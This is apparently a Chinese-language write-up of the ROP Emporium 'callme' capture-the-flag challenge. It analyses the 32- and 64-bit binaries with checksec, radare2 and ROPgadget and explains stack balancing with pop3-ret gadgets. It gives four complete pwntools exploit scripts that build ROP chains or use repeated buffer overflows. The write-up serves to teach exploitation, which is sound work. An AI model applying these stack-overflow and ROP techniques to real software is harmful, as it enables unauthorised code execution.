callme 题目链接:https://ropemporium.com/challenge/callme.html
x86 根据提示可以知道,这次需要我们构造一个连续调用函数的ROP链。我们需要注意在32位环境下pop 3ret
这种情况,来进行堆栈平衡。提示中告诉我们要依次调用call_one()
,call_two()
,call_three()
这三个函数,每一个函数的参数均为0xdeadbeef, 0xcafebabe, 0xd00df00d
,eg.call_one(0xdeadbeef, 0xcafebabe, 0xd00df00d)
我们需要构造一个依次调用这三个函数的ROP链。
首先,照例查看保护情况:
1 2 3 4 5 6 7 8 $ checksec ./callme32 [*]'/home/giantbranch/Desktop/rop_emporium_all_challenges/level3_callme/32/callme32' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) RUNPATH: '.'
这里看别人的write up都关注了一下PIE,暂时先不管,以后再回来说。
题目给了.so
文件,使用ldd
查看下依赖库:
1 2 3 4 5 $ ldd ./callme32 linux-gate.so.1 => (0xf7fb4000) libcallme32.so => ./libcallme32.so (0xf7fad000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7ddc000) /lib/ld-linux.so.2 (0xf7fb6000)
确实用到了提供的库(废话,这不是肯定的嘛)
接下来我们看下用到了程序里的函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 $ r2 -A ./callme32 [0x08048570]> afl 0x08048570 1 50 entry0 0x080485a3 1 4 fcn.080485a3 0x08048520 1 6 sym.imp.__libc_start_main 0x0804848c 3 35 sym._init 0x080485c0 1 4 sym.__x86.get_pc_thunk.bx 0x08048560 1 6 sym..plt.got 0x08048804 1 20 sym._fini 0x080485d0 4 41 sym.deregister_tm_clones 0x08048610 4 54 sym.register_tm_clones 0x08048650 3 31 sym.__do_global_dtors_aux 0x08048680 1 6 sym.frame_dummy 0x080486ed 1 98 sym.pwnme 0x08048540 1 6 sym.imp.memset 0x08048500 1 6 sym.imp.puts 0x080484d0 1 6 sym.imp.printf 0x080484c0 1 6 sym.imp.read 0x0804874f 1 67 sym.usefulFunction 0x080484e0 1 6 sym.imp.callme_three 0x08048550 1 6 sym.imp.callme_two 0x080484f0 1 6 sym.imp.callme_one 0x08048510 1 6 sym.imp.exit 0x08048800 1 2 sym.__libc_csu_fini 0x080487a0 4 93 sym.__libc_csu_init 0x080485b0 1 2 sym._dl_relocate_static_pie 0x08048686 1 103 main 0x08048530 1 6 sym.imp.setvbuf
其中带有imp
的(即imports)就是从外部导入的函数,也可以通过ii
命令或者rabin2 -i ./callme
来查看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 [0x08048570]> ii [Imports] nth vaddr bind type lib name ――――――――――――――――――――――――――――――――――――― 1 0x080484c0 GLOBAL FUNC read 2 0x080484d0 GLOBAL FUNC printf 3 0x080484e0 GLOBAL FUNC callme_three 4 0x080484f0 GLOBAL FUNC callme_one 5 0x08048500 GLOBAL FUNC puts 6 0x00000560 WEAK NOTYPE __gmon_start__ 7 0x08048510 GLOBAL FUNC exit 8 0x08048520 GLOBAL FUNC __libc_start_main 9 0x08048530 GLOBAL FUNC setvbuf 10 0x08048540 GLOBAL FUNC memset 11 0x08048550 GLOBAL FUNC callme_two
可以看到callme_one
,callme_two
,callme_three
都是外部导入,其实也就是libcallme32.so
中的函数。
其实我们不用具体看这三个函数是干什么的,也可以做。这里我们在libcallme32.so
中查看这三个函数的功能。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $ r2 -A libcallme32.so [0x00000540]> afl 0x00000540 1 4 entry0 0x00000755 11 256 sym.callme_two 0x00000510 1 6 sym.imp.fopen 0x000004f0 1 6 sym.imp.puts 0x00000500 1 6 sym.imp.exit 0x00000520 1 6 sym.imp.fgetc 0x00000484 3 35 sym._init 0x00000538 1 6 fcn.00000538 0x000009ec 1 20 sym._fini 0x00000855 10 406 sym.callme_three 0x0000063d 10 280 sym.callme_one 0x000004e0 1 6 sym.imp.malloc 0x000004c0 1 6 sym.imp.fgets 0x000004d0 1 6 sym.imp.fclose 0x00000550 4 53 sym.deregister_tm_clones 0x00000639 1 4 sym.__x86.get_pc_thunk.dx 0x00000590 4 71 sym.register_tm_clones 0x000005e0 5 71 sym.__do_global_dtors_aux 0x00000530 1 6 sym..plt.got 0x00000630 1 9 sym.frame_dummy 0x00000000 8 332 loc.imp._ITM_deregisterTMCloneTable
从中我们也能看到callme_one
,callme_two
,callme_three
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 [0x00000540 ]> s sym.callme_one [0x0000063d ]> pdg void sym.callme_one(int32_t arg_8h, int32_t arg_ch, int32_t arg_10h){ int32_t iVar1; uint uVar2; int32_t unaff_EBX; uint stream; uint var_4h; entry0(); if (((arg_8h != -0x21524111 ) || (arg_ch != -0x35014542 )) || (arg_10h != -0x2ff20ff3 )) { sym.imp.puts (unaff_EBX + 0x429 ); sym.imp.exit (1 ); } iVar1 = sym.imp.fopen(unaff_EBX + 0x3b9 , unaff_EBX + 0x3b7 ); if (iVar1 == 0 ) { sym.imp.puts (unaff_EBX + 0x3cf ); sym.imp.exit (1 ); } uVar2 = sym.imp.malloc (0x21 ); *(unaff_EBX + 0x19e7 ) = uVar2; if (*(unaff_EBX + 0x19e7 ) == 0 ) { sym.imp.puts (unaff_EBX + 0x3f1 ); sym.imp.exit (1 ); } uVar2 = sym.imp.fgets(*(unaff_EBX + 0x19e7 ), 0x21 , iVar1); *(unaff_EBX + 0x19e7 ) = uVar2; sym.imp.fclose(iVar1); sym.imp.puts (unaff_EBX + 0x40b ); return ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 [0x0000063d ]> s sym.callme_two [0x00000755 ]> pdg void sym.callme_two(int32_t arg_8h, int32_t arg_ch, int32_t arg_10h){ uint8_t uVar1; int32_t iVar2; int32_t unaff_EBX; int32_t var_10h; uint stream; uint var_8h; entry0(); if (((arg_8h == -0x21524111 ) && (arg_ch == -0x35014542 )) && (arg_10h == -0x2ff20ff3 )) { iVar2 = sym.imp.fopen(unaff_EBX + 0x325 , unaff_EBX + 0x29e ); if (iVar2 == 0 ) { sym.imp.puts (unaff_EBX + 0x32e ); sym.imp.exit (1 ); } for (var_10h = 0 ; var_10h < 0x10 ; var_10h = var_10h + 1 ) { uVar1 = sym.imp.fgetc(iVar2); *(var_10h + *(unaff_EBX + 0x18ce )) = uVar1 ^ *(var_10h + *(unaff_EBX + 0x18ce )); } sym.imp.puts (unaff_EBX + 0x346 ); return ; } sym.imp.puts (unaff_EBX + 0x310 ); sym.imp.exit (1 ); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 [0x00000755 ]> s sym.callme_three [0x00000855 ]> pdg void sym.callme_three noreturn (int32_t arg_8h, int32_t arg_ch, int32_t arg_10h) { uint8_t uVar1; int32_t iVar2; int32_t unaff_EBX; int32_t var_10h; uint stream; entry0(); if (((arg_8h == -0x21524111 ) && (arg_ch == -0x35014542 )) && (arg_10h == -0x2ff20ff3 )) { iVar2 = sym.imp.fopen(unaff_EBX + 0x264 , unaff_EBX + 0x19e ); if (iVar2 == 0 ) { sym.imp.puts (unaff_EBX + 0x26d ); sym.imp.exit (1 ); } for (var_10h = 0x10 ; var_10h < 0x20 ; var_10h = var_10h + 1 ) { uVar1 = sym.imp.fgetc(iVar2); *(var_10h + *(unaff_EBX + 0x17ce )) = uVar1 ^ *(var_10h + *(unaff_EBX + 0x17ce )); } *(*(unaff_EBX + 0x17ce ) + 4 ) = *(*(unaff_EBX + 0x17ce ) + 4 ) ^ 0xdeadbeef ; *(*(unaff_EBX + 0x17ce ) + 8 ) = *(*(unaff_EBX + 0x17ce ) + 8 ) ^ 0xdeadbeef ; *(*(unaff_EBX + 0x17ce ) + 0xc ) = *(*(unaff_EBX + 0x17ce ) + 0xc ) ^ 0xcafebabe ; *(*(unaff_EBX + 0x17ce ) + 0x10 ) = *(*(unaff_EBX + 0x17ce ) + 0x10 ) ^ 0xcafebabe ; *(*(unaff_EBX + 0x17ce ) + 0x14 ) = *(*(unaff_EBX + 0x17ce ) + 0x14 ) ^ 0xd00df00d ; *(*(unaff_EBX + 0x17ce ) + 0x18 ) = *(*(unaff_EBX + 0x17ce ) + 0x18 ) ^ 0xd00df00d ; sym.imp.puts (*(unaff_EBX + 0x17ce )); sym.imp.exit (0 ); } sym.imp.puts (unaff_EBX + 0x210 ); sym.imp.exit (1 ); }
根据反编译得到的伪码,可以大致推断出这三个函数的功能
callme_one
:读取加密的flag;callme_two
:解密0-15,前16个字节;callme_three
:解密16-31,后16个字节。
通过xxd
也可以看到加密后的flag确实是32字节
1 2 3 $ xxd encrypted_flag.dat 00000000: 534d 5341 91d9 f5a6 8ad5 c5b7 dbdb 9dbe SMSA............ 00000010: cada b2ed 2a84 63bc 71b5 70a0 7c79 3e5d ....*.c.q.p.|y>]
查看pwnme
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 [0x08048570 ]> s sym.pwnme [0x080486ed ]> pdg void sym.pwnme(void ){ uint s; sym.imp.memset (&s, 0 , 0x20 ); sym.imp.puts ("Hope you read the instructions...\n" ); sym.imp.printf (0x804886b ); sym.imp.read(0 , &s, 0x200 ); sym.imp.puts ("Thank you!" ); return ; }
很明显可以看到read
函数处存在栈溢出,偏移量计算得为44。
我还在看下usefulFunction
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 [0x080486ed ]> s sym.usefulFunction [0x0804874f ]> pdg void sym.usefulFunction(void ){ int32_t unaff_EBX; int32_t iVar1; uint uVar2; uint uVar3; uint uStack16; sym.imp.callme_three(4 , 5 , 6 ); sym.imp.callme_two(4 , 5 , 6 ); uVar3 = 6 ; uVar2 = 5 ; sym.imp.callme_one(4 , 5 , 6 ); sym.imp.exit (1 ); sym.__x86.get_pc_thunk.bx(); sym._init(); iVar1 = 0 ; do { (**(unaff_EBX + 0x1753 + iVar1 * 4 ))(uVar2, uVar3, uStack16); iVar1 = iVar1 + 1 ; } while (iVar1 != 1 ); return ; }
可以看到函数内部调用了callme_one
,callme_two
,callme_three
这三个函数,但是它的调用顺序跟提示的顺序刚好反过来了,所以,并不能直接覆盖返回地址到usefulFunction
函数,看起来也不是那么的useful,还是需要我们手动构建ROP链。
需要注意的是,在32位环境下,多次调用libc里的带有多个参数的函数,我们需要使用pop3 ret
方法。
举个栗子!
假设我们要连续调用read(fd1,buf1,size1)
和write(fd2,buf2,size2)
两个函数调用,就不能按照平常的方式布置ROP,即直接将write
函数的地址覆盖到预留返回地址处,这样的话,两个函数的参数会发生重叠,如图所示:
所以我们要通过能够移动esp
指针的gadgets来消除read
函数的参数,例如:
1 2 3 pop edi ; pop esi ; pop ebx ; ret add esp 8 ; pop ebx ; ret ···
我们把上述描述的类似第一行的3个pop
指令的gadgets统称为pop3 ret
,即移动esp
指针消去三个参数,再返回执行后续的函数,如图所示:
通过上图所示的ROP布局,我们就能实现连续调用read
和write
函数,pop3 ret
可以在read/write
函数返回时,清理栈上的参数,进而触发下一次调用。
2个参数的libc函数可以使用pop2 ret
1个参数的libc函数可以使用pop ret
更多具体内容参考这篇博客 。
再回到我们这道题中,我们需要连续三次调用callme_one
,callme_two
callme_three
这三个函数,每个函数都有三个参数,所以我们需要找到pop3 ret
这种类型的gadgets
1 2 3 4 5 6 7 8 9 10 11 12 $ ROPgadget --binary callme32 --only "pop|ret" Gadgets information ============================================================ 0x080487fb : pop ebp ; ret 0x080487f8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x080484ad : pop ebx ; ret 0x080487fa : pop edi ; pop ebp ; ret 0x080487f9 : pop esi ; pop edi ; pop ebp ; ret 0x08048496 : ret 0x0804861e : ret 0xeac1 Unique gadgets found: 7
可以看到地址0x080487f9
处的gadgets满足要求。其实也可以使用add esp
这种类型的gadgets,只要能够移动esp
指针消去栈上的参数都可以。
1 2 3 4 5 6 7 8 9 10 11 pwndbg> rop --grep "add esp" 0x080484a8 : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret 0x080485f2 : add esp, 0x10 ; leave ; ret 0x08048749 : add esp, 0x10 ; nop ; leave ; ret 0x080487f5 : add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x080484aa : add esp, 8 ; pop ebx ; ret 0x080487f3 : jne 0x80487e1 ; add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x080485ed : mov al, byte ptr [0xd0ff0804] ; add esp, 0x10 ; leave ; ret 0x0804863a : mov al, byte ptr [0xd2ff0804] ; add esp, 0x10 ; leave ; ret 0x080484a6 : mov dh, 0 ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret 0x08048810 : pop ss ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
可以看到0x080484aa
地址处的gadgets也能移动esp
指针,并且刚好消去三个参数。
完整的exploit代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *p = process('./callme32' ) e = ELF('./callme32' ) pwnme_addr = p32(e.symbols["pwnme" ]) callme_one = p32(e.plt["callme_one" ]) callme_two = p32(e.plt["callme_two" ]) callme_three = p32(e.plt["callme_three" ]) arg1 = p32(0xdeadbeef ) arg2 = p32(0xcafebabe ) arg3 = p32(0xd00df00d ) offset = 44 add_esp = p32(0x080484aa ) add_esp = p32(0x080487f9 ) payload = offset*b'A' payload+= callme_one payload+= add_esp payload+= arg1+arg2+arg3 payload+= callme_two payload+= add_esp payload+= arg1+arg2+arg3 payload+= callme_three payload+= add_esp payload+= arg1+arg2+arg3 p.sendline(payload) p.interactive()
执行结果如下:
解法2:构造二次溢出 这个解法是当时没搞明白怎么连续调用libc函数的时候想的办法,既然一次不能调用多个函数,那就进行多次调用,每次调用一个函数。
思路:在预留返回地址处,将其覆盖为存在缓冲区漏洞的pwnme
函数的地址,这样等到程序返回时会再次执行pwnme
函数,我们再重新发送一次payload来调用其余的函数,重复直到三个callme
函数全部调用完。
完整的expploit代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *p = process('./callme32' ) e = ELF('./callme32' ) pwnme_addr = p32(e.symbols["pwnme" ]) callme_one = p32(e.plt["callme_one" ]) callme_two = p32(e.plt["callme_two" ]) callme_three = p32(e.plt["callme_three" ]) arg1 = p32(0xdeadbeef ) arg2 = p32(0xcafebabe ) arg3 = p32(0xd00df00d ) offset = 44 payload1 = offset*b'A' + callme_one + pwnme_addr + arg1 + arg2 + arg3 p.sendline(payload1) payload2 = offset*b'A' + callme_two + pwnme_addr + arg1 +arg2 +arg3 p.sendline(payload2) payload3 = offset*b'A' + callme_three + p32(1 ) + arg1 +arg2 +arg3 p.sendline(payload3) p.interactive()
执行结果如下:
注意: 这种构造二次溢出的方法,并不是通解,有时会受到一些限制,比如会漏掉一些堆栈平衡的操作导致偏移量变化。要根据实际情况来使用,可以当作一种拓展思路。
x64 64位道理相同,但是由于参数传递方式发生变化,前6个参数通过寄存器传递,消去参数比较容易理解,即调用pop3 ret
重新给寄存器赋值,覆盖掉上边的值就可。
完整的exploit代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *p = process('./callme' ) e = ELF('./callme' ) callme_one = p64(e.plt["callme_one" ]) callme_two = p64(e.plt["callme_two" ]) callme_three = p64(e.plt["callme_three" ]) pop_rdi_rsi_rdx_ret = p64(0x000000000040093c ) arg1 = p64(0xdeadbeefdeadbeef ) arg2 = p64(0xcafebabecafebabe ) arg3 = p64(0xd00df00dd00df00d ) offset = 40 payload = offset*b'A' payload+= pop_rdi_rsi_rdx_ret payload+= arg1 + arg2 + arg3 payload+= callme_one payload+= pop_rdi_rsi_rdx_ret payload+= arg1 + arg2 + arg3 payload+= callme_two payload+= pop_rdi_rsi_rdx_ret payload+= arg1 + arg2 + arg3 payload+= callme_three p.sendline(payload) p.interactive()
解法2:构造二次溢出 同样,也可以通过构造二次溢出的方法解决
完整的exploit代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *p = process('./callme' ) e = ELF('./callme' ) pwnme_addr = p64(e.symbols["pwnme" ]) callme_one = p64(e.plt["callme_one" ]) callme_two = p64(e.plt["callme_two" ]) callme_three = p64(e.plt["callme_three" ]) pop_rdi_rsi_rdx_ret = p64(0x000000000040093c ) arg1 = p64(0xdeadbeefdeadbeef ) arg2 = p64(0xcafebabecafebabe ) arg3 = p64(0xd00df00dd00df00d ) offset = 40 payload1 = offset*b'A' + pop_rdi_rsi_rdx_ret + arg1 + arg2 + arg3 + callme_one + pwnme_addr p.sendline(payload1) payload2 = offset*b'A' + pop_rdi_rsi_rdx_ret + arg1 + arg2 + arg3 + callme_two + pwnme_addr p.sendline(payload2) payload3 = offset*b'A' + pop_rdi_rsi_rdx_ret + arg1 + arg2 + arg3 + callme_three + pwnme_addr p.sendline(payload3) p.interactive()